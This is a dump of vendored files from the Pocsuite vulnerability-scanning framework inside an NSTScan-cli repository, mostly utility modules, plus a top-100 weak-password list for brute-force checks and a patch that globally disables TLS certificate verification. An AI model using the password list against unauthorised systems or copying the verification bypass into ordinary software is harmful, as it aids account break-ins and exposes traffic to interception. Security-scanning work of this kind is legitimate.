pocsuite.lib.core.data import logger 10 | from pocsuite.lib.core.enums import CUSTOM_LOGGING 11 | 12 | from pocsuite.lib.utils.password import getLargeWeakPassword 13 | from pocsuite.lib.utils.password import getWeakPassword 14 | 15 | from pocsuite.lib.utils.funs import url2ip 16 | from pocsuite.lib.utils.funs import getExtPar 17 | from pocsuite.lib.utils.funs import strToDict 18 | from pocsuite.lib.utils.funs import randomStr 19 | 20 | from pocsuite.lib.utils.funs import writeText 21 | from pocsuite.lib.utils.funs import writeBinary 22 | from pocsuite.lib.utils.funs import loadText 23 | from pocsuite.lib.utils.funs import resolve_js_redirects 24 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/api/utils.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/api/utils.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/data/password-top100.txt: -------------------------------------------------------------------------------- 1 | 123456789 2 | a123456 3 | 123456 4 | a123456789 5 | 1234567890 6 | woaini1314 7 | qq123456 8 | abc123456 9 | 123456a 10 | 123456789a 11 | 147258369 12 | zxcvbnm 13 | 987654321 14 | 12345678910 15 | abc123 16 | qq123456789 17 | 123456789. 18 | 7708801314520 19 | woaini 20 | 5201314520 21 | q123456 22 | 123456abc 23 | 1233211234567 24 | 123123123 25 | 123456. 26 | 0123456789 27 | asd123456 28 | aa123456 29 | 135792468 30 | q123456789 31 | abcd123456 32 | 12345678900 33 | woaini520 34 | woaini123 35 | zxcvbnm123 36 | 1111111111111111 37 | w123456 38 | aini1314 39 | abc123456789 40 | 111111 41 | woaini521 42 | qwertyuiop 43 | 1314520520 44 | 1234567891 45 | qwe123456 46 | asd123 47 | 000000 48 | 1472583690 49 | 1357924680 50 | 789456123 51 | 123456789abc 52 | z123456 53 | 1234567899 54 | aaa123456 55 | abcd1234 56 | www123456 57 | 123456789q 58 | 123abc 59 | qwe123 60 | w123456789 61 | 7894561230 62 | 123456qq 63 | zxc123456 64 | 123456789qq 65 | 1111111111 66 | 111111111 67 | 0000000000000000 68 | 1234567891234567 69 | qazwsxedc 70 | qwerty 71 | 123456.. 72 | zxc123 73 | asdfghjkl 74 | 0000000000 75 | 1234554321 76 | 123456q 77 | 123456aa 78 | 9876543210 79 | 110120119 80 | qaz123456 81 | qq5201314 82 | 123698745 83 | 5201314 84 | 000000000 85 | as123456 86 | 123123 87 | 5841314520 88 | z123456789 89 | 52013145201314 90 | a123123 91 | caonima 92 | a5201314 93 | wang123456 94 | abcd123 95 | 123456789.. 96 | woaini1314520 97 | 123456asd 98 | aa123456789 99 | 741852963 100 | a12345678 -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/data/token.conf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/data/token.conf -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/lib/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2016 pocsuite developers (https://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | pass 10 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/lib/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/lib/__init__.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/lib/controller/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2016 pocsuite developers (https://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | pass 10 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/lib/core/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2016 pocsuite developers (https://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | pass 10 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/lib/core/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/lib/core/__init__.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/lib/core/common.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/lib/core/common.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/lib/core/convert.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2016 pocsuite developers (https://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | import sys 10 | from pocsuite.lib.core.settings import IS_WIN, UNICODE_ENCODING 11 | 12 | 13 | def singleTimeWarnMessage(message): # Cross-linked function 14 | sys.stdout.write(message) 15 | sys.stdout.write("\n") 16 | sys.stdout.flush() 17 | 18 | 19 | def stdoutencode(data): 20 | retVal = None 21 | 22 | try: 23 | data = data or "" 24 | 25 | # Reference: http://bugs.python.org/issue1602 26 | if IS_WIN: 27 | output = data.encode(sys.stdout.encoding, "replace") 28 | 29 | if '?' in output and '?' not in data: 30 | warnMsg = "cannot properly display Unicode characters " 31 | warnMsg += "inside Windows OS command prompt " 32 | warnMsg += "(http://bugs.python.org/issue1602). All " 33 | warnMsg += "unhandled occurances will result in " 34 | warnMsg += "replacement with '?' character. Please, find " 35 | warnMsg += "proper character representation inside " 36 | warnMsg += "corresponding output files. " 37 | singleTimeWarnMessage(warnMsg) 38 | 39 | retVal = output 40 | else: 41 | retVal = data.encode(sys.stdout.encoding) 42 | except: 43 | retVal = data.encode(UNICODE_ENCODING) if isinstance(data, unicode) else data 44 | 45 | return retVal 46 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/lib/core/convert.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/lib/core/convert.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/lib/core/data.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2016 pocsuite developers (https://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | from pocsuite.lib.core.datatype import AttribDict 10 | from pocsuite.lib.core.log import LOGGER 11 | from pocsuite.lib.core.defaults import defaults 12 | 13 | # logger 14 | logger = LOGGER 15 | 16 | # object to share within function and classes command 17 | # line options and settings 18 | conf = AttribDict() 19 | 20 | # Dictionary storing 21 | # (1)targets, (2)registeredPocs, (3) bruteMode 22 | # (4)results, (5)pocFiles 23 | # (6)multiThreadMode \ threadContinue \ threadException 24 | kb = AttribDict() 25 | 26 | cmdLineOptions = AttribDict() 27 | 28 | registeredPocs = {} 29 | 30 | # pocsuite paths 31 | paths = AttribDict() 32 | 33 | defaults = AttribDict(defaults) 34 | 35 | pocJson = AttribDict() 36 | 37 | resultJson = AttribDict() 38 | 39 | savedReq = AttribDict() 40 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/lib/core/data.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/lib/core/data.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/lib/core/datatype.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/lib/core/datatype.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/lib/core/defaults.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2016 pocsuite developers (https://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | from pocsuite.lib.core.datatype import AttribDict 10 | 11 | defaults = { 12 | "threads": 1, 13 | "timeout": 10 14 | } 15 | 16 | HTTP_DEFAULT_HEADER = { 17 | "Accept": "*/*", 18 | "Accept-Charset": "GBK,utf-8;q=0.7,*;q=0.3", 19 | "Accept-Language": "zh-CN,zh;q=0.8", 20 | "Cache-Control": "max-age=0", 21 | "Connection": "keep-alive", 22 | "Referer": "http://www.baidu.com", 23 | "User-Agent": "Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0" 24 | } 25 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/lib/core/defaults.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/lib/core/defaults.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/lib/core/enums.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2016 pocsuite developers (https://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | 10 | class CUSTOM_LOGGING: 11 | SYSINFO = 9 12 | SUCCESS = 8 13 | ERROR = 7 14 | WARNING = 6 15 | 16 | 17 | class OUTPUT_STATUS: 18 | SUCCESS = 1 19 | FAILED = 0 20 | 21 | 22 | class HTTP_HEADER: 23 | ACCEPT = "Accept" 24 | ACCEPT_CHARSET = "Accept-Charset" 25 | ACCEPT_ENCODING = "Accept-Encoding" 26 | ACCEPT_LANGUAGE = "Accept-Language" 27 | AUTHORIZATION = "Authorization" 28 | CACHE_CONTROL = "Cache-Control" 29 | CONNECTION = "Connection" 30 | CONTENT_ENCODING = "Content-Encoding" 31 | CONTENT_LENGTH = "Content-Length" 32 | CONTENT_RANGE = "Content-Range" 33 | CONTENT_TYPE = "Content-Type" 34 | COOKIE = "Cookie" 35 | SET_COOKIE = "Set-Cookie" 36 | HOST = "Host" 37 | LOCATION = "Location" 38 | PRAGMA = "Pragma" 39 | PROXY_AUTHORIZATION = "Proxy-Authorization" 40 | PROXY_CONNECTION = "Proxy-Connection" 41 | RANGE = "Range" 42 | REFERER = "Referer" 43 | SERVER = "Server" 44 | USER_AGENT = "User-Agent" 45 | TRANSFER_ENCODING = "Transfer-Encoding" 46 | URI = "URI" 47 | VIA = "Via" 48 | 49 | 50 | class PROXY_TYPE: 51 | HTTP = "HTTP" 52 | HTTPS = "HTTPS" 53 | SOCKS4 = "SOCKS4" 54 | SOCKS5 = "SOCKS5" 55 | 56 | 57 | class ERROR_TYPE_ID: 58 | NOTIMPLEMENTEDERROR = 2 59 | CONNECTIONERROR = 3.0 60 | HTTPERROR = 3.1 61 | CONNECTTIMEOUT = 3.2 62 | TOOMANYREDIRECTS = 3.3 63 | OTHER = 4 64 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/lib/core/enums.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/lib/core/enums.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/lib/core/exception.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2016 pocsuite developers (https://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | 10 | class PocsuiteBaseException(Exception): 11 | pass 12 | 13 | 14 | class PocsuiteUserQuitException(PocsuiteBaseException): 15 | pass 16 | 17 | 18 | class PocsuiteDataException(PocsuiteBaseException): 19 | pass 20 | 21 | 22 | class PocsuiteGenericException(PocsuiteBaseException): 23 | pass 24 | 25 | 26 | class PocsuiteSystemException(PocsuiteBaseException): 27 | pass 28 | 29 | 30 | class PocsuiteFilePathException(PocsuiteBaseException): 31 | pass 32 | 33 | 34 | class PocsuiteConnectionException(PocsuiteBaseException): 35 | pass 36 | 37 | 38 | class PocsuiteThreadException(PocsuiteBaseException): 39 | pass 40 | 41 | 42 | class PocsuiteValueException(PocsuiteBaseException): 43 | pass 44 | 45 | 46 | class PocsuiteMissingPrivileges(PocsuiteBaseException): 47 | pass 48 | 49 | 50 | class PocsuiteSyntaxException(PocsuiteBaseException): 51 | pass 52 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/lib/core/exception.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/lib/core/exception.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/lib/core/log.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2016 pocsuite developers (https://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | import logging 10 | import sys 11 | 12 | from pocsuite.lib.core.enums import CUSTOM_LOGGING 13 | 14 | logging.addLevelName(CUSTOM_LOGGING.SYSINFO, "*") 15 | logging.addLevelName(CUSTOM_LOGGING.SUCCESS, "+") 16 | logging.addLevelName(CUSTOM_LOGGING.ERROR, "-") 17 | logging.addLevelName(CUSTOM_LOGGING.WARNING, "!") 18 | 19 | LOGGER = logging.getLogger("pocsuiteLog") 20 | 21 | LOGGER_HANDLER = None 22 | try: 23 | from pocsuite.thirdparty.ansistrm.ansistrm import ColorizingStreamHandler 24 | 25 | disableColor = False 26 | 27 | for argument in sys.argv: 28 | if "disable-col" in argument: 29 | disableColor = True 30 | break 31 | 32 | if disableColor: 33 | LOGGER_HANDLER = logging.StreamHandler(sys.stdout) 34 | else: 35 | LOGGER_HANDLER = ColorizingStreamHandler(sys.stdout) 36 | LOGGER_HANDLER.level_map[logging.getLevelName("*")] = (None, "cyan", False) 37 | LOGGER_HANDLER.level_map[logging.getLevelName("+")] = (None, "green", False) 38 | LOGGER_HANDLER.level_map[logging.getLevelName("-")] = (None, "red", False) 39 | LOGGER_HANDLER.level_map[logging.getLevelName("!")] = (None, "yellow", False) 40 | except ImportError, e: 41 | LOGGER_HANDLER = logging.StreamHandler(sys.stdout) 42 | 43 | FORMATTER = logging.Formatter("\r[%(asctime)s] [%(levelname)s] %(message)s", "%H:%M:%S") 44 | 45 | LOGGER_HANDLER.setFormatter(FORMATTER) 46 | LOGGER.addHandler(LOGGER_HANDLER) 47 | LOGGER.setLevel(CUSTOM_LOGGING.WARNING) 48 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/lib/core/log.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/lib/core/log.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/lib/core/poc.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/lib/core/poc.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/lib/core/register.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2016 pocsuite developers (https://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | import os 10 | import sys 11 | import json 12 | from pocsuite.lib.core.data import kb 13 | from pocsuite.lib.core.data import logger 14 | from pocsuite.lib.core.enums import CUSTOM_LOGGING 15 | from pocsuite.lib.core.common import filepathParser 16 | from pocsuite.lib.core.common import changeToPyImportType 17 | from pocsuite.lib.core.common import StringImporter 18 | 19 | 20 | def registerPoc(pocClass): 21 | module = pocClass.__module__.split('.')[-1] 22 | if module in kb.registeredPocs: 23 | return 24 | 25 | kb.registeredPocs[module] = pocClass() 26 | 27 | 28 | def registerJsonPoc(pocDict): 29 | pocname = pocDict.keys()[0] 30 | if pocname in kb.registeredPocs: 31 | return 32 | 33 | jsonPoc = json.load(pocDict[pocname]) 34 | kb.registeredPocs[pocname] = jsonPoc 35 | 36 | 37 | def registerPyPoc(pocDict): 38 | pocname = pocDict.keys()[0] 39 | _, moduleName = filepathParser(pocname) 40 | try: 41 | importer = StringImporter(moduleName, pocDict[pocname]) 42 | importer.load_module(moduleName) 43 | except ImportError, ex: 44 | errMsg = "%s register failed \"%s\"" % (moduleName, str(ex)) 45 | logger.log(CUSTOM_LOGGING.ERROR, errMsg) 46 | 47 | 48 | def addSysPath(*paths): 49 | for path in paths: 50 | if not path.startswith('/'): 51 | path = os.path.join(os.getcwd(), path) 52 | sys.path.append(path) 53 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/lib/core/register.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/lib/core/register.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/lib/core/revision.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2016 pocsuite developers (https://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | import os 10 | import re 11 | from subprocess import Popen as execute 12 | from subprocess import PIPE 13 | 14 | 15 | def getRevisionNumber(): 16 | """ 17 | Returns abbreviated commit hash number as retrieved with "git rev-parse --short HEAD" 18 | """ 19 | 20 | retVal = None 21 | filePath = None 22 | _ = os.path.dirname(__file__) 23 | 24 | while True: 25 | filePath = os.path.join(_, ".git", "HEAD") 26 | if os.path.exists(filePath): 27 | break 28 | else: 29 | filePath = None 30 | if _ == os.path.dirname(_): 31 | break 32 | else: 33 | _ = os.path.dirname(_) 34 | 35 | while True: 36 | if filePath and os.path.isfile(filePath): 37 | with open(filePath, "r") as f: 38 | content = f.read() 39 | filePath = None 40 | if content.startswith("ref: "): 41 | filePath = os.path.join(_, ".git", content.replace("ref: ", "")).strip() 42 | else: 43 | match = re.match(r"(?i)[0-9a-f]{32}", content) 44 | retVal = match.group(0) if match else None 45 | break 46 | else: 47 | break 48 | 49 | if not retVal: 50 | process = execute("git rev-parse --verify HEAD", shell=True, stdout=PIPE, stderr=PIPE) 51 | stdout, _ = process.communicate() 52 | match = re.search(r"(?i)[0-9a-f]{32}", stdout or "") 53 | retVal = match.group(0) if match else None 54 | 55 | return retVal[:7] if retVal else None 56 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/lib/core/revision.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/lib/core/revision.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/lib/core/settings.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/lib/core/settings.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/lib/parse/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2016 pocsuite developers (https://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | pass 10 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/lib/request/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2016 pocsuite developers (https://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | pass 10 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/lib/request/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/lib/request/__init__.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/lib/request/basic.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2016 pocsuite developers (https://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | from pocsuite.lib.request.requestspatch import requestsPatch 9 | 10 | import pocsuite.thirdparty.requests as req 11 | 12 | requestsPatch() 13 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/lib/request/basic.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/lib/request/basic.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/lib/request/requestspatch.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2016 pocsuite developers (https://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | import collections 10 | from pocsuite.lib.core.data import conf 11 | from pocsuite.thirdparty import requests 12 | from pocsuite.thirdparty.requests.hooks import default_hooks 13 | from pocsuite.thirdparty.requests.models import DEFAULT_REDIRECT_LIMIT 14 | from pocsuite.thirdparty.requests.models import REDIRECT_STATI 15 | from pocsuite.thirdparty.requests.cookies import cookiejar_from_dict 16 | from pocsuite.thirdparty.requests.compat import OrderedDict 17 | from pocsuite.thirdparty.requests.adapters import HTTPAdapter 18 | from pocsuite.thirdparty.requests.structures import CaseInsensitiveDict 19 | from pocsuite.thirdparty.requests.utils import default_headers 20 | from pocsuite.thirdparty.requests.packages.urllib3._collections import RecentlyUsedContainer 21 | 22 | 23 | def requestsPatch(): 24 | if hasattr(requests.packages.urllib3.util, '_Default'): 25 | requests.packages.urllib3.util._Default = None 26 | else: 27 | requests.packages.urllib3.util.timeout._Default = None 28 | 29 | def setVerifyToFalse(): 30 | # 重写requests的cert_verify,禁用ssl verify 31 | def cert_verify(self, conn, url, verify, cert): 32 | conn.cert_reqs = 'CERT_NONE' 33 | conn.ca_certs = None 34 | requests.adapters.HTTPAdapter.cert_verify = cert_verify 35 | 36 | def setDefaultHeaders(): 37 | def session_init(self): 38 | self.headers = CaseInsensitiveDict(conf.httpHeaders) if 'httpHeaders' in conf else default_headers() 39 | self.auth = None 40 | self.proxies = {} 41 | self.hooks = default_hooks() 42 | self.params = {} 43 | self.stream = False 44 | self.verify = True 45 | self.cert = None 46 | self.max_redirects = DEFAULT_REDIRECT_LIMIT 47 | self.trust_env = True 48 | self.cookies = cookiejar_from_dict({}) 49 | self.adapters = OrderedDict() 50 | self.mount('https://', HTTPAdapter()) 51 | self.mount('http://', HTTPAdapter()) 52 | self.redirect_cache = RecentlyUsedContainer(1000) 53 | requests.sessions.Session.__init__ = session_init 54 | 55 | setVerifyToFalse() 56 | setDefaultHeaders() 57 | requests.packages.urllib3.disable_warnings() 58 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/lib/request/requestspatch.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/lib/request/requestspatch.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/lib/utils/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2016 pocsuite developers (https://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | pass 10 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/lib/utils/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/lib/utils/__init__.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/lib/utils/funs.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/lib/utils/funs.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/lib/utils/parseopener.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2016 pocsuite developers (https://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | import urllib2 10 | from pocsuite.lib.core.data import logger 11 | from pocsuite.lib.core.enums import CUSTOM_LOGGING 12 | 13 | 14 | def openerHeaders(op): 15 | headers = {} 16 | try: 17 | assert isinstance(op, urllib2.OpenerDirector) 18 | _ = op.addheaders 19 | for pair in _: 20 | # pair_copy = [part for part in pair] 21 | headers.update({pair[0]: pair[1]}) 22 | except: 23 | errMsg = 'unable to fetch headers from given opener' 24 | logger.log(CUSTOM_LOGGING.ERROR, errMsg) 25 | return headers 26 | 27 | if __name__ == '__main__': 28 | op = urllib2.build_opener() 29 | openerHeaders(op) 30 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/lib/utils/password.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2016 pocsuite developers (https://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | from pocsuite.lib.core.common import getFileItems 10 | from pocsuite.lib.core.data import paths 11 | 12 | 13 | def getWeakPassword(): 14 | return getFileItems(paths.WEAK_PASS) 15 | 16 | 17 | def getLargeWeakPassword(): 18 | return getFileItems(paths.LARGE_WEAK_PASS) 19 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/lib/utils/password.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/lib/utils/password.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/lib/utils/randoms.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2016 pocsuite developers (https://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | import random 10 | 11 | 12 | upperAlpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" 13 | lowerAlpha = "abcdefghijklmnopqrstuvwxyz" 14 | numerals = "0123456789" 15 | allchars = [chr(_) for _ in xrange(0x00, 0xFF + 0x01)] 16 | 17 | 18 | def rand_base(length, bad, chars): 19 | '''generate a random string with chars collection''' 20 | cset = (set(chars) - set(list(bad))) 21 | if len(cset) == 0: 22 | return "" 23 | chars = [list(cset)[random.randrange(len(cset))] for i in xrange(length)] 24 | chars = map(str, chars) 25 | return "".join(chars) 26 | 27 | 28 | def rand_char(bad='', chars=allchars): 29 | '''generate a random char with chars collection''' 30 | return rand_base(1, bad, chars) 31 | 32 | 33 | def rand_text(length, bad='', chars=allchars): 34 | '''generate a random string (cab be with unprintable chars)''' 35 | return rand_base(length, bad, chars) 36 | 37 | 38 | def rand_text_alpha(length, bad=''): 39 | '''generate a random string with alpha chars''' 40 | chars = upperAlpha + lowerAlpha 41 | return rand_base(length, bad, set(chars)) 42 | 43 | 44 | def rand_text_alpha_lower(length, bad=''): 45 | '''generate a random lower string with alpha chars''' 46 | return rand_base(length, bad, set(lowerAlpha)) 47 | 48 | 49 | def rand_text_alpha_upper(length, bad=''): 50 | '''generate a random upper string with alpha chars''' 51 | return rand_base(length, bad, set(upperAlpha)) 52 | 53 | 54 | def rand_text_alphanumeric(length, bad=''): 55 | '''generate a random string with alpha and numerals chars''' 56 | chars = upperAlpha + lowerAlpha + numerals 57 | return rand_base(length, bad, set(chars)) 58 | 59 | 60 | def rand_text_numeric(length, bad=''): 61 | '''generate a random string with numerals chars''' 62 | return rand_base(length, bad, set(numerals)) 63 | 64 | 65 | def rand_item_from_iters(iter): 66 | '''choose a random item from iters''' 67 | return rand_base(1, '', iter) 68 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/lib/utils/require.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2016 pocsuite developers (https://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | import functools 10 | from pocsuite.lib.core.data import logger 